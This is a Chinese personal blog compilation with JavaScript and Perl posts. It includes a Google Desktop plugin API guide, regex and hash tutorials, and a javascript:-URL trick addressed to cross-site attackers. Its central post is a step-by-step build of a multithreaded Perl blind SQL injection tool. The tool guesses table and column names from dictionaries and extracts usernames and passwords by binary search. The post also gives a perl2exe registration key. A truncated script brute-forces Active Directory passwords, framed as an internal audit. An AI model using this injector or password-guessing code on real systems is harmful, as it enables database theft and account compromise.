我的时光,停在了你的角落…~
perl&js
把JS函数转URL形式
Feb 27th
分享一个小技巧,个中乐趣请跨站师们自己体会:
<script type=”text/javascript”>
<!–
function func2URL(proc) {
return “javascript:(“ + encodeURIComponent(proc.toString()) + “)();“;
}function test() {
var a = “hahaha\x41\x42“;
var b = function(s) {
alert(s);
};
b(a);
}document.write(func2URL(test));
location.href
= func2URL(test);
//–>
</script>
from:http://www.cnblogs.com/luoluo/archive/2009/02/27/1399273.html
用JavaScript开发你的Google桌面(Google Desktop)显示插件
Dec 3rd
Google桌面搜索推出第二个版本的时候,有两个细节很值得留意。
第一是名字里面少了点东西,Google桌面搜索(Google Desktop Search)变成了Google桌面(Google Desktop);第二是功能方面多了点东西,那就是增加了Google桌面边栏 (Google Desktop SiderBar)。
这两个细节有很多人都忽略了,在他们看来,Google桌面仍旧只是一个桌面搜索工具。我要说他们错了,有了桌面边栏以后的Google Desktop更像一个个人信息平台,一个良好的桌面搜索是构建个人信息平台的基础,但绝对不是全部。可以参照的是,今年7月,Yahoo收购了Konfabulator。这样,在桌面信息中心的争夺战中,Google和Yahoo一人往前线走了一步。
如果有人问我什么是WebOs,我会说这就是WebOs的雏形。桌面边栏是一个客户端程序,但是里面显示的内容都来自网络,实时适时更新。桌面边栏里面的大部分功能都可以在浏览器里面实现,也就是说,你可以把它理解为一个看起来稍微胖了一点的Web客户端。或者说,按照流行的话说,他是一个Rich的,一个丰富的客户端。
现在每天我的桌面边栏都是打开的,我用它来浏览Google News,用它来关注Google、百度和微软的股价,用它来实时跟踪我的Google Adsense广告点击和收益情况,甚至用它的插件gdTunes来控制我的iTunes播放音乐。还有些东西我也想用它来做,唯一的障碍就是没有相应的插件。
但是这个问题也很好解决,因为从一开始推出,Google桌面和桌面边栏就支持非常强大全面的插件接口,你几乎可以用这些接口实现任何你想要的插件。
Google桌面插件接口是基于Com的,这样任何支持Com的语言和开发工具都可以用来开发Google桌面插件。Google方面似乎更推荐大家使用VC7来进行开发,他们提供了一个VC7开发Google桌面插件的向导。
然而,今天本文要介绍的是用JavaScript(实际上也可以用VBScript)来开发Google桌面插件。因为这更加简单,也更加可靠,因为用JavaScript来开发Google桌面插件可以避开Com的复杂性。当然,用这个方法开发插件也会受到一些表现能力方面的限制,你的插件只能包含标准的Google桌面插件界面元素。
下面我们开始如何开发Google桌面插件(这里说的是显示插件,也就是会显示在桌面边栏上面的插件。):
一、开发环境的建立
首先你先要到Google桌面网站(http://desktop.google.com/)下载最新版的SDK。下载完毕后,解压到任意目录,然后把其中的tools目录加入到Windows环境变量Path之中。
然后,你要到Wix网站(http://sourceforge.net/projects/wix/)去下载Wix工具。下载后,解压到任意目录,这个目录也加入到Windows环境变量Path之中。
二、熟悉脚本编程的模型
用脚本编写的插件是架构在plug-in helper框架之上的。用JavaScript我们可以修改插件的属性和显示的内容,还可以修改插件菜单,实现设定对话框等等。我们还可以使用标准的JavaScript特性、函数和数据类型。但是对目前的发行版,脚本不能在桌面边框的界面中使用本地的用户界面元素。
脚本插件接口了下面的全局变量供开发者使用:
pluginHelper
用来修改插件的配置信息。
属性
title
字符串,只写
用来设定插件的标题
about_text
字符串,只写
用来设定关于对话框里面显示的文本
content_items
content_item对象的数组,可读写
保存显示内容条目的数组
max_content_items
整数,可读写
可以显示的最大内容条目数。默认值为25,但是插件可以修改。
window_width
整数,只读
插件窗口的宽度,单位为点阵。
window_height
整数,只读
插件窗口的高度,单位为点阵。
pin_images
image数组,可读写
Array of images to use for the ‘pin’ icon, which when clicked pins the clicked item at the top of the list.
方法
SetFlags(plugin_flags, content_flags)
没有返回值
设定插件和内容的标志,从而影响插件的行为。
SetIcons(small_icon, large_icon)
没有返回值
设定插件标题和关于对话框里面的图标。
AddContentItem(content_item, display_options)
没有返回值
添加指定的内容条目。
RemoveContentItem(content_item)
没有返回值
移去指定的内容条目。
RemoveAllContentItems()
没有返回值
移去所有的内容条目。
事件句柄
onShowOptionsDlg
在显示设定对话框前对其进行初始化。原型:InitDialog(window)
返回false取消对话框,true或者不返回任何东西的情况下显示对话框
onAddCustomMenuItems
在显示菜单前对其进行初始化。原型:AddCustomMenuItems(menu)
不需返回
onCommand
执行GD API定义的命令(命令形式为GDD_CMD_xxxx)。原型:OnCommand(command)
不需返回
onDisplayStateChange
显示状态变化时调用。原型:OnDisplayStateChange(new_display_state)
不需返回
ContentItem
属性
image
Image类型,可读写
用来显示条目的图像
notifier_image
Image类型,可读写
显示在提醒器里面的图像
time_created
时间类型,可读写
条目的创建时间
heading
字符串,可读写
条目显示的标题
source
字符串,可读写
条目的网站/新闻来源
snippet
字符串,可读写
条目的摘要
open_command
字符串,可读写
打开或者双击条目时要打开的地址或者文件。
layout
整数,可读写
条目显示的布局
tooltip
字符串,可读写
提示信息
方法
SetRect(x, y, width, height)
不返回任何东西
设定条目的显示位置。在设定条目的位置前,需要打开ANUAL_LAYOUT标志。否则,条目将会在缺省的位置 出现。
事件句柄
onDrawItem
描绘条目的时候调用.
原型:DrawItem(item, display_target, graphics, x, y, width, height)
不需返回
onGetHeight
取得给定宽度的条目的高度
原型:GetHeight(item, display_target, graphics, width)
返回给定宽度的条目的高度
onOpenItem
用户打开或双击条目的时候调用
原型:OpenItem(item)
不需返回
onToggleItemPinnedState
用户点击pin按钮的时候调用
原型:ToggleItemPinnedState(item)
不需返回
onGetIsTooltipRequired
判断指定位置显示的条目是否需要提示信息
原型:GetIsTooltipRequired(item, display_target, graphics, x, y, width, height)
onDetaisView
显示指定条目的时候显示。
原型:OnDetailsView(item)
不返回会取消细节视图,或者返回有以下属性的对象
obj.title 细节视图里面显示的标题
obj.details_control 细节视图里面显示的activeX控件
obj.flags 控制细节视图显示布局和用途的标志
以上参数的更多细节请参看文档中IGoogleDesktopDisplayContentItemHandler接口的OnDetailsView事件。
onProcessDetailsViewFeedback
在细节视图中处理用户动作
原型:ProcessDetailsViewFeedback(item, details_view_flags)
不需返回
onRemoveItem
用户删除内容条目的时候触发
原型:RemoveItem(item)
返回true取消删除操作,返回false确认操作,删除指定内容条目。
options
方法
GetValue(key_text)
返回指定Key对应的Value
JavaScript学习ing
Dec 3rd
发现了一个可以让自己更有兴趣学习JavaScript的东东~~~http://desktop.google.com/zh/script-primer.html
google大叔果然厚道~~~
仿淘宝字母检索分类效果
Dec 2nd
[html]<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>仿taobao效果</title>
<style type="text/css">
*{ margin:0;padding:0;}
body{ font:normal 12px Verdana, Arial, Helvetica, sans-serif; text-align:center;}
#warpper{ position:absolute; left:100px; top:100px;}
h5{ float:left;}
a{ text-decoration:underline; cursor:pointer; font-weight:bold;}
dl{ height:18px; line-height:18px; background:#f7f7f7; padding:0 10px;}
dt,.normal{ float:left; padding:0 10px; border-right:1px solid #ccc; text-decoration:none; width:auto; cursor:pointer;}
dt.over{ position:relative;border:1px solid #86e5f0; padding:0 10px 15px 10px; border-bottom:1px solid #caf1f1; margin:-1px 0 0 -1px; z-index:1000; color:#ff6026; text-decoration:underline; background:#caf1f1; height:22px; }
li{ float:left; list-style-type:none; margin:5px 10px; width:120px;}
dl dd{ position:absolute; width:500px; left:0;top:37px!important; border:1px solid #86e5f0; background:#caf1f1; filter:progid:DXImageTransform.Microsoft.Shadow(Strength=4, Direction=120, color=#cccccc); padding:10px 0;}
.block{ display:block;}
.none{ display:none;}
</style>
<script language="javascript">
function $(str){ return document.getElementById(str);}
function $$(str){ return document.getElementsByTagName(str);}
var timer;
function changeMenu(thisObj,num){
if(thisObj.className=="over") return false;
hids(thisObj);
thisObj.className="over";
$("c"+(num+1)).className="block";
$("c"+(num+1)).onmouseover=function(){clearTimeout(timer);}
$("c"+(num+1)).onmouseout=function(){timer=setTimeout(function(){hids(thisObj);},500)}
thisObj.onmouseout=function(){timer=setTimeout(function(){hids(thisObj);},3000)}
}
function hids(thisObj){
clearTimeout(timer);
var tabObj=thisObj.parentNode.getAttribute("id");
var obj_dt=$(tabObj).getElementsByTagName("dt");
for(var i=0;i<obj_dt.length;i++){
obj_dt[i].className="normal";
$("c"+(i+1)).className="none";
}
}
</script>
</head>
<body>
<dl id="warpper">
<h5>拼音检索:</h5>
<dt>a</dt>
<dd id="c1" class="none">
<ul>
<li><a herf="#">Adidas</a></li>
<li><a herf="#">AEE/爱意</a></li>
<li><a herf="#">AF</a></li>
<li><a herf="#">AF棒球帽</a></li>
<li><a herf="#">Agatha</a></li>
<li><a herf="#">Albion/奥尔滨</a></li>
<li><a herf="#">AMD</a></li>
<li><a herf="#">Andox</a></li>
<li><a herf="#">Artini</a></li>
<li><a herf="#">爱普生</a></li>
</ul>
</dd>
<dt>b</dt>
<dd id="c2" class="none">
<ul>
<li><a herf="#">fasfs</a></li>
<li><a herf="#">fsdfsd</a></li>
</ul>
</dd>
<dt>c[ch]</dt>
<dd id="c3" class="none">
<ul>
<li><a herf="#">fasfs</a></li>
<li><a herf="#">fsdfsd</a></li>
<li><a herf="#">fdsfas</a></li>
</ul>
</dd>
&nbs
p; <dt>d</dt>
<dd id="c4" class="none">
<ul>
<li><a herf="#">fasfs</a></li>
<li><a herf="#">fsdfsd</a></li>
<li><a herf="#">fdsfas</a></li>
<li><a herf="#">fasdffsd</a></li>
</ul>
</dd>
<dt>e</dt>
<dd id="c5" class="none">
<ul>
<li><a herf="#">fasfs</a></li>
<li><a herf="#">fsdfsd</a></li>
<li><a herf="#">fdsfas</a></li>
<li><a herf="#">fasdffsd</a></li>
<li><a herf="#">fasdfsaf</a></li>
</ul>
</dd>
<dt>f</dt>
<dd id="c6" class="none">
<ul>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
<li><a herf="#">Fancl</a></li>
</ul>
</dd>
</dl>
</body>
</html>[/html]
使用Perl常规表达式进行匹配
Aug 30th
长期以来,Perl以其对常规表达式的固有支持,一直是非常流行的文本处理工具。在这篇入门性文章中,我们将带领你简单了解如何在你自己的程序中使用常规表达式,实现更加强大的文本搜索和替代功能。
我们首先了解最简单的常规表达式:匹配。如果在字符串中找到相匹配的模式,匹配操作就返回真值。因此下面的表达式:
$string =~ m/text/
只有在变量“$string”中的字符串包含子字符串“text”时才返回真值。这是最基本的常规表达式,它对每个字符进行逐字匹配。当然,这只是对常规表达式作用的一个尝试。以需要查找以“ext”结尾的四个字母的单词为例。为达到这个目的,我们使用一个特殊的字符“.”,常规表达式中的句号告诉Perl匹配其中的任何单独的字符。因此下面这个表达式:
$string =~ m/.ext/
将与单词“text”和“next”匹配。
不过,这个表达式并非完美,因为它与包含“ext”的更长单词的一部分相匹配,如“dextrous”和“flextime”。我们可以使用锚字符来限制匹配的位置。“^”字符匹配字符串的开头,因此:
$string =~ m/^.ext/
与“dextrous”匹配,但不与“context”匹配。
同样,“$”字符匹配字符串的结尾:
$string =~ m/.ext$/
与“context”匹配,但不与“dextrous”匹配。
如果你只希望匹配以“ext”结尾的四个字母的字符串,那么你可以组合使用上面的两个表达式,像这样:
$string =~ m/^.ext$/
现在,如果你需要匹配一组给定的字符,而不是句号位置的任何字符,那该怎么办呢?常规表达式通过使用方括号提供一个方法。以下面的表达式为例:
$string =~ m/^[tT]ext$/
这个表达式只与单词“text”和“Text”匹配。一对方括号将转换其中的任何单个字符。这个功能相当强大,例如:
$string =~ m/[aeiouAEIOU]/
如果$string变量中含有元音,则上面的例子返回真值。
如果括号中的第一个字符是“^”,这时它就不是一个锚字符,而是执行“非”操作,匹配不在括号内的任意字符,因此如果$string变量中只包含辅音或标点符号,可以对上面的例子进行调整,使它返回真值:
$string =~ m/[^aeiouAEIOU]/
方括号符号还可以指定字符的范围,让你不必列举一整串连续的数字或字母,例如,下面的例子匹配任何小写字母:
$string =~ m/[a-z]/
到现在为止,我们每次都是处理字符串中的一个字符,但许多情况下我们需要处理更加复杂的问题。我们使用“|”或分段操作达到这个目的。假设我们希望检查$string变量中是否含有“next”或“previous”,我们可以使用下面的表达式:
$string =~ m/next|previous/
如果我们希望在这个表达式中使用锚字符,那么我们需要将选项组合起来,就像在算术中使用圆括号那样。因此,如果我们希望只匹配字符串开头部分的“next”或“previous”,可以这样写表达式:
$string =~ m/^(next|previous)/
PERL铸造多线程+支持中文破解SQL自动注入猜解机
Aug 3rd
说到SQL注入机,从娃娃针对动网文章的dvTxt.pl到臭要饭的绝世猜解CSC、NB联盟的NBSI,大家也都用过吧? 在“$url=~/(\/\/)?(.+?)\/(.+)/”中,先要说一说那个?,?匹配0个或1个该字符,所以在输入链接的时候“http://”可有可无;匹配主机($host)的是(.+?),为什么不是(.+),因为perl默认的贪婪模式,将尽可能多的匹配至后面的字符(在这里是‘/’),所以如果不及时限定,对这样一个URL:http://www.hemon.tk/article/show.asp?id=957 ,$host将匹配至www.hemon.tk/article ,而不是我们想要的 www.hemon.tk 。 回收返回仓: 也就用了三次,首先从中值(4)开始,每猜解一次加\减中值的一半(2、1),这些2^n都是固定了的,为了避免CPU的重复计算,可以根据猜解值的范围,相应预备一个数组,我准备了四个: 慢慢等待这些孩子们都一个个衣锦还乡吧:
开天始祖 dvTxt.pl,也不知被改了多少遍,以用于针对各种不同的有SQL注入漏洞的系统,通常《黑防》的一篇《**存在SQL注入漏洞》的文章,末了,都要把这尊大佛抬出来,更改几个字段,然后,又一个**专杀工具出土了!对于臭要饭的绝世猜解CSC,我用得已经是忍无可忍了, 虽然采用了多线程技术,但是依然弥补不了算法低劣的恶劣影响,破解由于采用的是字典,不仅速度慢,同时也限制了对中文这样的双字节字符的破解,而NBSI,破解算法虽然得到了改进,但是却忘了多线程,而且在猜解表名、列名时,共用一个大字典,白白浪费掉不少时间。两个东西拼在一起就好了,可是没有原代码阿(可视化开发工具,在下也只会用VB)?! 也不知道老大们是不是用一种语言开发的,就算是同一种,就算是VB,也没有人谁愿意提供原代码阿,无奈…只好响应主席号召:自己动手,丰衣足食!
程序不过是将手动变为自动,先来痛苦地回忆一下手动注入猜解的过程:1.找到注入点->2.构造SQL查询语句->3.提交 URL->4.根据浏览器返回信息判断SQL查询语句正确性->5.修正SQL查询语句->6.重复3.4.5步N遍,直到得到数据库存储的正确信息。
翻译成程序语言:1.输入存在SQL注入漏洞的URL($url)->2.从URL中提取主机($host)、路径($path)、端口($port)->3. 构造SQL查询语句加入URL($url)->4.用IO::Socket向目标主机提交 URL ->5.从返回的页面中提取查询逻辑值为真(假)时存在的字符($info),成功则转入对下一目标值的猜解,失败则继续重复3.4.5 步。
猜解全局流程图如下:
用户信息表 – > 用户名字段 – > 密码字段 – > ID字段 – > 最小用户ID – > 用户名长度- > 密码长度 – > 用户名 – > 密码
说得有点简约,因为这些东西普及得实在厉害,更详细的内容,大家可以参阅《黑客防线》第5期的SQL注入专题,理论讲完了,大家也都情不自禁、心急火燎、磨刀霍霍……
LET’GO!
一. 提取$URL中的主机($host)、路径($path)、端口($port)
还曾记得娃娃的那个dvTxt.pl,还有它那烦琐的用法:dvTxt.pl
在使用中,复制粘贴起来极为不便,其实,使用PERL强大的正则表达式,一却都可以迎刃而解,先来随便观察几个URL:http://www.hemon.tk/show.asp?id=957 、http://www.hemon.tk:1314/show.asp?id=957 、 http://www.hemon.tk/article/show.asp?id=957 。透过现象看本质,规律也就出来了:(http://)主机(:端口)/ 路径 。()内字符出现0或1次。
正则表达式也就有了:
程序代码:
if($url=~/(\/\/)?(.+?)\/(.+)/)
{
$host=$2;
$path='/'.$3;
if($host=~/(.+):(.+)/)
{
$host=$1;
$port=$2;
}
}
二. IO::Socket提交函数
经过刚才的努力,也该是回报的时候了,赶紧用我们提取得到的主机($host)、路径($path)、端口($port)写好这个提交函数:
程序代码:
sub connect
{
$req = "GET $path$path1 HTTP/1.0\n".
"Host: $host\n".
"Referer: $host\n".
"Cookie: \n\n";
my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $connection $req;
my @res = <$connection>;
close $connection;
return @res;
}
Connect 子例程将返回信息存储在数组@res中;
三. 猜解用户信息表
使用SQL查询语句:0<>(select count(*) from TABLE)
真正的破解开始了,没有什么捷径可走,顺次读取字典里存储的表名,然后一个一个的尝试,一旦成功匹配正确信息,立即退出while循环;字典有两种,一种是数组,第二是文本字典,PERL脚本我们将编译为EXE可执行文件,为了便于今后修改添加新的表名,我使用文本字典文件:
程序代码:
open (tabInput,"table.txt") or die "can't open file!\n";
while (chomp(my $input=<tabInput>))
{
my $sql="0<>(select%20count(*)%20from%20$input)";
$path1 = "%20AND%20$sql";
&url;
@res = &connect;
if ("@res"=~/$info/)
{
$table_user=$input;
print "the table of userinfo is:$table\n";&nbs
p;
last;
}
}
close(tabInput);
四. 猜解字段名
使用SQL查询语句:exists (select COL_NAME from TABLE)
这一步同猜解表名如出一辙,一旦成功获取表名,我们将兵分三路,直取用户名列($field_user)、密码列($field_pass)、ID列($field_id),既然是分兵出击,就不得不使用多线程,PERL中的多线程,呵呵,你还没有试过吧?
为实现多线程作的第一个准备,编写猜解子例程(函数),我们依然使用文本字典文件,在这里,文件名作为唯一的参数传入:
程序代码:
sub field_input
{
my $field;
open (fieInput,"$_[0]") or die "can't open file!\n";
while (chomp(my $input=<fieInput>))
{
my $sql="exists%20(select%20$input%20from%20$table_User)";
$path1 = "%20AND%20$sql";
my @res = &connect;
if ("@res"=~/$info/)
{
$field=$input;
print "\t+-- $field --+";
last;
}
}
close(fieInput);
return $field;
}
五.PERL多线程速成
然后,然后当然就是学习PERL的多线程技术!!!也许现在你就开始胆战心惊,以为这有什么了不起,呵呵,80/20的瑞士军刀法则在这里又是那么管用,我们仅仅需要学习两个函数就可以结束我们的速成班:
$thread = threads->create(function, LIST)
以变量名$thread,创建一个子例程\函数(FUNCTION)的一个线程,LIST为子例程\函数的参数,CREATE可替换为NEW。
$thread->join
等待线程运行完毕。一旦结束运行,join()将返回子例程\函数(FUNCTION)的值。
THAT’S ALL!
就这么简单?完了?就这么两把菜刀就可以干我们的革命了!!!
详情参阅ActicePerl的帮助文档:Perl/html/lib/threads.html.
5、4、3、2、1、点火!!!
程序代码:
$thread1 = threads->create("field_Input","field_Username.txt");
$thread2 = threads->create("field_Input","field_Password.txt");
$thread3 = threads->create("field_Input","field_ID.txt");
程序代码:
$field_Username = $thread1->join();
$field_Password = $thread2->join();
$field_ID = $thread3->join();
同时射出三个线程,然后JOIN回来,多么完美的落地啊,10分!!!
五. 猜数字的技巧
即便是多了几匹马,马再多也没有跑不过火轮车阿,我们来研究一下猜解的技巧,回过头看看等待我们的任务:最小用户ID – > 用户名长度- > 密码长度 – > 用户名 – > 密码。
ID 值是天然的数值,长度是length($field)是数值,一位用户名和密码的ASCII码还是数值,都玩过网上的一个猜数字的JAVASCRIPT游戏吧?一个100以内的数,为什么只给你7次机会去猜?因为2^7=128,换句话说,一个128以内的数,你也只需猜7次,那么李咏节目里头那些几千上万块钱的东西,又要猜几次呢?2^13=8192, 2^14=16384,你还愁拿不到奖品吗?!
为了让大家看清楚一点,猜一个8以内的数,比如是5,步骤如下:
? < 4 N
? < 6 Y 4 + 2
? < 5 N 6 - 1
? = 5
程序代码:
@dic1=(128,64,32,16,8,4,2,1); # 最小用户ID
@dic2=(16,8,4,2,1); # 用户名、密码长度
@dic3=(64,32,16,8,4,2,1); # 英文字符
@dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1); #中文字符
算法函数如下:
sub crack
{
my(@dic) = @_;
my $sql=pop(@dic);
my $i=0;
my $op=1;
my $crack;
foreach my $pass(@dic)
{
print ">";
$i++;
$crack+=$op*$pass;
$path1 = "%20AND%20$crack<($sql)";
my @res = &connect;
if ("@res" =~ /$info/)
{
$op=1;
if($i==@dic)
{
$crack++;
}
}
else
{
$op=-1;
}
}
return $crack;
}
$sql="select%2
0min($field_ID)%20from%20$table_User";
$id=&crack(@dic1,"$sql");
传递进构造的SQL注入语句以及相应的数组字典,CRACK!!!
参数为数组时,子程序只将它赋给一个数组变量,my(@dic)而非 my(@dic,$sql) =@_;后者,$sql必然为空!简单变量和数组变量是可以同时传递,$sql在此是@dic的最后一个元素。 pop(@dic)再删去列表最后一个元素($sql),并将其作为返回值,剩下的@dic就是纯洁的数字了。
让我们一鼓作气,拿下用户名和密码长度,同时,别忘了使用多线程:
程序代码:
$sql="select%20len($field_Username)%20from%20$table_User%20where%20field_ID=$id";
my $thread4 = threads->create("crack",@dic2,$sql);
$sql="select%20len($field_Password)%20from%20$table_User%20where%20$field_ID=$id";
my $thread5 = threads->create("crack",@dic2,$sql);
$userlen = $thread4->join();
$passlen = $thread5->join();
六.最后的战役-攻破字段值
使用SQL查询语句:select abs(asc(mid($fieUsername,$locat,1))) from $table_User where $field_Id = $id
这里不讨论MS-SQL中的猜测,可以说MS-SQL下是不用猜测的,你只要构造的条件足够的好,可以直接让对方在报错的时候将数据内容直接显示出来。
ACCESS 中字符的猜测:首先要判断ASCII码值是否大于零,大于,就用@dic3套到CRACK函数里面,小于就用@dic4了!函数返回数值以后,对于英文字符,有两种方法:使用nchar($asc)或者pack(‘C*’,$asc);而对于中文字符:打开计算器,选择科学型,转换成十六进制单字,是****,用UltraEdit编辑为*字,哈哈……那就不叫编程了!
首先要用sprintf(“%X”,$asc)完成计算器的转换十六进制的工作,(别忘了用正则表达式提出最后四位,不然一个字前面就要冒出两个空格)然后再用pack(“H*”,$str)完成UltraEdit的打包作业:
程序代码:
sub asc
{
my $asc=$_[0];
my $str;
if ($asc<256)
{
$str = pack('C*',$asc);
}
else
{
$asc*=-1;
$str = sprintf("%X",$asc);
if ($str=~/(.{4})$/i)
{
$str=$1;
}
$str = pack("H*",$str);
}
return $str;
}
万事俱备,只欠东风,此仅举猜解密码值为例,一位密码启动一个CRACK子线程:
程序代码:
for (my $locat=1;$locat<=$passlen;$locat++)
{
$sql = "select%20asc(mid($field_Password,$locat,1))%20from%20$table_User%20where%20$field_Id=$id";
$path1 = "%20AND%200>($sql)";
my @res = &connect;
if ("@res" =~ /$info/)
{
$sql = "select%20abs(asc(mid($field_Password,$locat,1)))%20from%20$table_User%20where%20$field_Id=$id";
$password[$locat] = threads->create("crack",@dic4,$sql);
}
else
{
$password[$locat] = threads->create("crack",@dic3,$sql);
}
}
程序代码:
for (my $locat=1;$locat<=$passlen;$locat++)
{
$password[$locat] = $password[$locat]->join();
}
其它的显示细节,我就不要意思多说了,赶忙编译EXE。GO!
六. 编译perl为EXE
从perl2exe的老家http://www.indigostar.com/perl2exe.htm ,DOWN个最新版本的Perl2Exe for Win32,目前为止是8.40,直接解压缩,CMD命令行进入解压后的目录,为了避免浏览烦人的广告,我们先得注册一下这个软件:
程序代码:
D:\hemon\software>perl2exe -register
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software
Please enter your registration key, or press enter to cancel
输入我的注册码:
hemon:hemon:20040709,36713
注册成功之后显示:
Registered
同时,程序目录生成一个名为perl2exe.key的注册表文件,可千万移不得啊!
编译PL:
程序代码:
D:\hemon\software>perl2exe si.pl
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software
Registered to hemon:hemon:20040709, ENT version
Converting ‘si.pl’ to si.exe
一个多线程的、支持中文破解的PERL版注入器就诞生了!!!
大约能提高一倍的速度,也就是可以节约一半的时间,与我的预期还是有很大出入的。美中不足的是,还真应了“欲速则不达”的古语,我提供了两个版本(thr.pl\sig.pl),对于那些网速较慢的网站,呵呵…… 用了你就知道,一般人我不告诉!最好还是改用单线程的,稳定性较好。
不过,代码在手,我就不怕你会改,增强稳定性什么的,稍微加上几个函数,让它支持PHP+MYSQL,ASP+MSSQL什么的……
一句话:网聚人的力量!支持开放原代码!
Perl学习之哈希 hash
Jul 21st
一、什么是哈希
哈希是一种数据结构,和数组类似,可以将值存放到其中,或者从中取回值。但是,和数组不同的是,其索引不是数字,而是名字。也就是说,索引(这里,我们将它叫key)不是数字而是任意的唯一的字符串。
key可以是任意的字符串,你可以使用任何的字符串作为key,但它们是唯一的。
另一种思考hash 的方法是,把它看作一堆数据(a barrel of data),每一个数据都有一个相应的标签。可以通过标签访问此标签对应的元素。但其中是没有“第一个”元素的概念的。在数组中,数组元素从0,1,2 开始编号。但在hash中,没有确定的顺序,因此也没有第一个元素。只是一些key/value 对的集合。
keys和values均为任意的标量,但keys通常转换为字符串。因此,如果将表达式50/20 作为keys,则其通常被转换为3字符的字符串“2.5”。
由于Perl的“没有不必要的限制”的设计哲学:hash可以是任意大小,从空hash(没有key/value对),到任何你内存允许的大小。
keys是唯一的,但values可以重复。hash的value可以是数字,字符串,undef,或者它们的混合,但key是唯一的。
为什么使用Hash
可以把hash看作一个简单的数据库,其中每一个key下面可以有一块数据。如果你的任务是关于:“查询重复的”,“唯一的”,“交叉引用的”,“查询表”,则hash很可能在这类应用中帮上你的忙。
二、哈希元素的存取
要访问hash 元素,可以使用下面的语法:$hash{$some_key}
这和访问数组元素的方法有些类似,这里下标(key)上使用的是花括号({}),而不是方括号([ ])。现在key 的表达式是字符串,而非数字。
hash的名字和Perl中其它的标识符的命名规则是一样的(字母,数字,下划线组成,但不能由数字开头)。
访问不存在的hash元素将得到undef。
1.作为整体的hash
要引用整个hash,使用百分号(%)作为前缀。
为了方便,hash可以转换为列表,或者反过来。
2.Hash 赋值
可以使用如下的语法在hash 之间拷贝:
%new_hash = %old_hash;
将hash转变成其它形式更加常见。例如,我们可以将hash反转:
%inverse_hash = reverse %any_hash;
3.大箭头符号(=>)
当给hash赋值时,有时并不明显哪些元素是keys,那些是values,因此发明了大箭头符号(=>)。在需要逗号的时候,都可以使用大箭头符号替换。
如:
my %last_name = (
“www” => 1,
“eee” => 2,
);
三、哈希函数
某些有用的函数可以对整个hash 进行操作。
1.keys和values函数
keys函数会返回此hash的所有keys,values函数将返回所有的values。如果hash中没有元素,则此函数将返回空列表。
my %hash = (“a”=>1, “b”=>2, “c”=>3);
print my @k = keys %hash;
print my @v = values %hash;
2.each函数
如果想迭代hash的每一个元素,一种通常的方法是使用each函数,它将返回key/value对应的2个元素列表。
当对同一个hash 函数进行一次迭代时,将返回下一个key/value对,直到所有的元素均被访问。如果没有更多的key/value对,则each函数将返回空表。
my %hash = (“a”=>1, “b”=>2, “c”=>3);
while(($key, $value) = each %hash)
{
print “$key => $value\n”;
}
当然,each返回的key/vlaue对,顺序是混乱的(它其顺序和keys和values函数返回的顺序相同)。如果想将其按序排放,可以对它们排序(使用sort)。
my %hash = (“a”=>1, “b”=>2, “c”=>3, “d”=>4);
foreach $key (sort keys %hash)
{
$value =$hash{$key};
print “$key => $value\n”;
}
四、哈希的通常用法
1.exists函数
要查看hash中是否存在某个key,可以使用exists函数,如果hash中存在此key,则返回true,与是否有对应的value无关。
my %hash = (“a”=>1, “b”=>2, “c”=>3, “d”=>4);
if(exists $hash{‘a’})
{
print “true”;
}
2.delete 函数
delete函数将某个给定的key(包括其对应的value)从hash中删除。如果不存在这个key,则什么也不做,不会有警告或者错误信息。
my %hash = (“a”=>1, “b”=>2, “c”=>3, “d”=>4);
delete $hash{‘a’};
foreach $key (sort keys %hash)
{
$value =$hash{$key};
print “$key => $value\n”;
}
3.hash 元素的内插
你可以在双引号的字符串中使用单个hash元素,但不支持整个hash 的内插。
my %hash = (“a”=>1, “b”=>2, “c”=>3, “d”=>4);
foreach $key (sort keys %hash)
{
print “$key => $hash{$key}\n”;
}
from:chinaunix
企业内部AD脆弱密码审计
Jul 10th
这个是前段时间做的个小脚本,没什么用,审计内部AD脆弱密码的。做这样一些简单的工作,脚本语言确实挺合适的。需要一个普通的AD账号,导出账户名,过滤掉禁用的,然后开始扫描。密码字典按照自己公司的实际情况写就好了,支持%USERNAME%123这样的格式。
脚本里面的各种参数我写死了,因为自己用,不必要敲参数。如果想要用用看,自己改就是了,perl这种东西简单的学一下的话,一个上午就够了。下午不行,这种天气下午只适合睡觉,或者吃点冰绿豆汤之类的东西,反正是不适合看代码。
#!/usr/bin/perl
use warnings;
use strict;
use Win32::OLE;
use Data::Dumper;
use Authen::Simple::ActiveDirectory;
use constant ADS_UF_ACCOUNTDISABLE => 2;
use constant ADS_SCOPE_SUBTREE => 2;
my $server = 'bj.microsoft.com';
my $domain = 'bj.microsoft.com';
my %users;
my @pwds;
select( STDOUT );
$| = 1;
print "Loading account from ad...";
&LoadUser( );
print "done!n";
print scalar(keys(%users))." users loaded!n";
print "Loading password from dic...";
&LoadPwd( );
print "done!n";
open( REPORT, ">report.txt" ) || die "create report error: $!n";
select( REPORT );
$| = 1;
select( STDOUT );
foreach my $user( keys(%users) )
{
foreach my $pwd( @pwds )
{
$pwd =~ s/%USERNAME%/$user/;
my $ret = &TestPwd( $user, $pwd );
if( $ret == 1 )
{
print "cracked! username=$user,password=$pwd,mail=".$users{$user}."n";
print REPORT "cracked! username=$user,password=$pwd,mail=".$users{$user}."n";
last;
}
#print "testing [$user/$pwd] ...n";
}
}
close( REPORT );
sub LoadUser
{
my $objConnection = Win32::OLE->new( "ADODB.Connection" );
my $objCommand = Win32::OLE->new( "ADODB.Command" );
# open ad
$objConnection -> open( "Provider=ADsDSOObject;" );
